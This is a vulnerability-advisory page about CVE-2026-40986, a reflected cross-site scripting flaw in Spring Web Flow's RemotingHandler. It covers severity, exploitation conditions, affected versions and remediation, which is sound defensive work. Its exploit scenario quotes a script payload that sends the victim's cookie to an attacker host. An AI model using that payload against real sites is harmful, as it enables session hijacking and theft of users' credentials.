Skip to main content

Spring Web Flow CVE-2026-40986

| EUVDEUVD-2026-36201 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-11 vmware GHSA-hw5c-xm3c-v96w
4.8
CVSS 3.1 · Vendor: vmware
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate with low-privilege application account
  2. Delivery
    Identify RemotingHandler endpoint with reflected error output
  3. Exploit
    Craft request parameter embedding script payload
  4. Execution
    Submit request triggering server-side error
  5. Persist
    RemotingHandler renders error body as HTML in victim browser
  6. Impact
    Injected script executes, exfiltrating session credentials

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation specifically requires that the target application uses Spring Web Flow's JavaScript RemotingHandler component - applications that do not use this remoting feature are not affected. Additionally, the server must reflect attacker-controlled input content within error response bodies returned through the RemotingHandler (e.g., validation messages, exception details, or parameter echoing in error output). The CVSS vector confirms PR:L: at minimum, low-privilege authenticated access to the application is required, ruling out unauthenticated exploitation. UI:R confirms a victim user must be present and interact with the application flow for the injected script to execute in their browser context. AC:H limits exploitation to scenarios where the attacker can reliably engineer the reflected-error condition. Exploitation is further limited to the specific affected versions (2.5.0-2.5.1, 3.0.0-3.0.1, 4.0.0); deployments on other versions or those that do not expose RemotingHandler endpoints are not vulnerable.

Impact

The vendor-assigned CVSS 3.1 score of 4.8 (Medium) with vector AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N accurately captures several meaningful constraints. High Attack Complexity (AC:H) reflects the requirement that the attacker must specifically engineer a scenario where controlled input surfaces in a server-side error response routed through the RemotingHandler. Low Privileges Required (PR:L) confirms that some level of authenticated access to the application is necessary. Required User Interaction (UI:R) means a victim must be present and interact with the targeted flow. Scope Unchanged (S:U) limits the blast radius to the user's current session context. No EPSS score was provided in available intelligence, so exploitation probability cannot be quantified. There is no CISA KEV listing and no known public proof-of-concept, making this a low-urgency finding in practice despite the High integrity impact rating. The High integrity impact (I:H) is justified because successful script injection can result in full session hijacking, credential theft, or unauthorized actions on behalf of the victim - but only under the enumerated preconditions. This is not a fire-drill vulnerability; teams should patch on a routine cycle rather than an emergency timeline.

Exploit ScenarioDerived

An authenticated low-privilege user submits a crafted request to a Spring Web Flow RemotingHandler endpoint with a parameter value containing an HTML script payload (e.g., <script>document.location='https://attacker.example/steal?c='+document.cookie</script>) that the server reflects verbatim in an error response body. The RemotingHandler renders this body as HTML in the victim's browser, executing the script and transmitting the victim's session cookie to an attacker-controlled endpoint. No public proof-of-concept code has been identified at time of analysis, but the attack pattern is straightforward for anyone familiar with reflected XSS techniques.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 11, 2026

Reflected XSS in Spring Web Flow's JavaScript RemotingHandler allows an authenticated attacker to inject and execute arbitrary scripts in a victim's browser by embedding malicious content in input that the server reflects within error response bodies. The RemotingHandler renders these error bodies as HTML regardless of the declared Content-Type, bypassing MIME-type enforcement. Affected versions span the 2.5.x, 3.0.x, and 4.0.0 release lines; no public exploit code has been identified at time of analysis and the vulnerability is not listed in CISA KEV.

RemediationAI

The primary remediation is to apply the vendor-released patch documented in the Spring security advisory at https://spring.io/security/cve-2026-40986; the exact fixed version number is not present in available intelligence and must be confirmed directly from that advisory before upgrading. As a compensating control while patching is scheduled, deploy a Content Security Policy (CSP) response header (e.g., default-src 'self'; script-src 'self') to block inline script execution in the browser - note this may require updating application JavaScript to eliminate inline handlers and eval() usage, which carries development overhead. Additionally, configure server-side output encoding for any user-supplied data that may appear in error messages returned by RemotingHandler endpoints; Spring's HtmlUtils.htmlEscape() or equivalent can be applied at the error-generation layer. Restricting authenticated access to RemotingHandler endpoints to the minimum necessary user population reduces the attacker pool consistent with PR:L.

Affected VersionsENISA

Spring Web Flow 3.0.0 <3.0.2
Spring Web Flow 2.5.0 <2.5.2
Spring Web Flow 4.0.0 <4.0.1

Affected Packages

maven org.springframework.webflow:spring-webflow fix: 3.0.2, 4.0.1
euvd spring_web_flow fix: 2.5.2, 3.0.2, 4.0.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in maven, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Spring Web Flow is a Spring Framework extension for orchestrating multi-step stateful web workflows. Its JavaScript RemotingHandler provides server-side AJAX/remoting support for workflow transitions triggered by browser-side JavaScript. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-site Scripting): the handler fails to enforce content-type boundaries when constructing error responses, treating the response body as renderable HTML in the browser even when the HTTP Content-Type header declares a non-HTML media type. If server-generated error details echo back attacker-controlled input (e.g., from form fields, path parameters, or query strings that surface in exception or validation messages), that content is injected into the DOM without sanitization. The CPE cpe:2.3:a:spring:spring_web_flow:*:*:*:*:*:*:*:* covers the Spring Web Flow component published by the Spring (VMware/Broadcom) project.

Know when Spring gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (vmware) PRIMARY 4.8 MEDIUM
AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N
vuln.today AI 4.8 MEDIUM

Network-reachable RemotingHandler requires low-privilege auth (PR:L), attacker must engineer reflected error content (AC:H), victim interaction required (UI:R); XSS yields integrity-only impact with no confidentiality or availability consequence.

3.1 AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N
4.0 AV:N/AC:H/AT:P/PR:L/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (vmware).

CVSS VectorVendor: vmware

Attack Vector
Network
Attack Complexity
High
Privileges Required
Low
User Interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

Lifecycle Timeline

1
Patch available
Jun 11, 2026 - 08:01 EUVD

DescriptionCVE.org

Spring Web Flow's JavaScript RemotingHandler renders the body of an error response as HTML even when the response is not "text/html", which can result in a scripting attack in the user's browser if the error response from the server contains error details with input reflected from an attacker.

Affected versions: Spring Web Flow 4.0.0; 3.0.0 through 3.0.1; 2.5.0 through 2.5.1.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 421 maven packages depend on org.springframework.webflow:spring-webflow (421 direct, 0 indirect)

Ecosystem-wide dependent count for version 4.0.0.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

24
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +24
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Spring

View all
CVE-2025-70982 CRITICAL POC
9.9 Jan 26

Access control bypass in SpringBlade v4.5.0 importUser function allows low-privileged users to import sensitive user dat

CVE-2026-22739 HIGH POC
8.6 Mar 24

Spring Cloud Config Server contains a path traversal vulnerability when using the native file system backend, allowing u

CVE-2025-41242 MEDIUM POC
5.9 Aug 18

Spring Framework MVC applications can be vulnerable to a “Path Traversal Vulnerability” when deployed on a non-compliant

CVE-2025-70983 CRITICAL
9.9 Jan 23

SpringBlade v4.5.0 has an access control flaw in authRoutes allowing low-privileged users to escalate to admin through t

CVE-2026-41699 CRITICAL
9.8 Jun 11

Remote code execution in Spring for GraphQL versions 1.3.0-1.3.8, 1.4.0-1.4.5, and 2.0.0-2.0.3 allows unauthenticated at

CVE-2026-59313 CRITICAL
9.8 Aug 27

Server-Sent Events (SSE) stream corruption affects Spring MVC applications built on the functional web framework across

CVE-2026-22738 CRITICAL
9.8 Mar 27

Spring AI versions 1.0.0 through 1.0.4 and 1.1.0 through 1.1.3 allow unauthenticated remote code execution through Sprin

CVE-2026-41855 CRITICAL
9.8 Jun 09

Unsafe JSON deserialization in Spring Framework's JMS message converters (MappingJackson2MessageConverter and JacksonJso

CVE-2025-41232 CRITICAL
9.1 May 21

Spring Security Aspects may not correctly locate method security annotations on private methods. Rated critical severity

CVE-2026-59283 CRITICAL
9.1 Aug 27

Safety-guard bypass in the Spring Framework SpEL engine (VMware/Broadcom) lets attacker-controlled expression input esca

CVE-2026-40982 CRITICAL
9.1 May 07

Directory traversal in Spring Cloud Config server module allows remote unauthenticated attackers to read arbitrary files

CVE-2026-22732 CRITICAL POC
9.1 Mar 19

Spring Security fails to properly write HTTP response headers in servlet applications across multiple versions (5.7.0-5.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy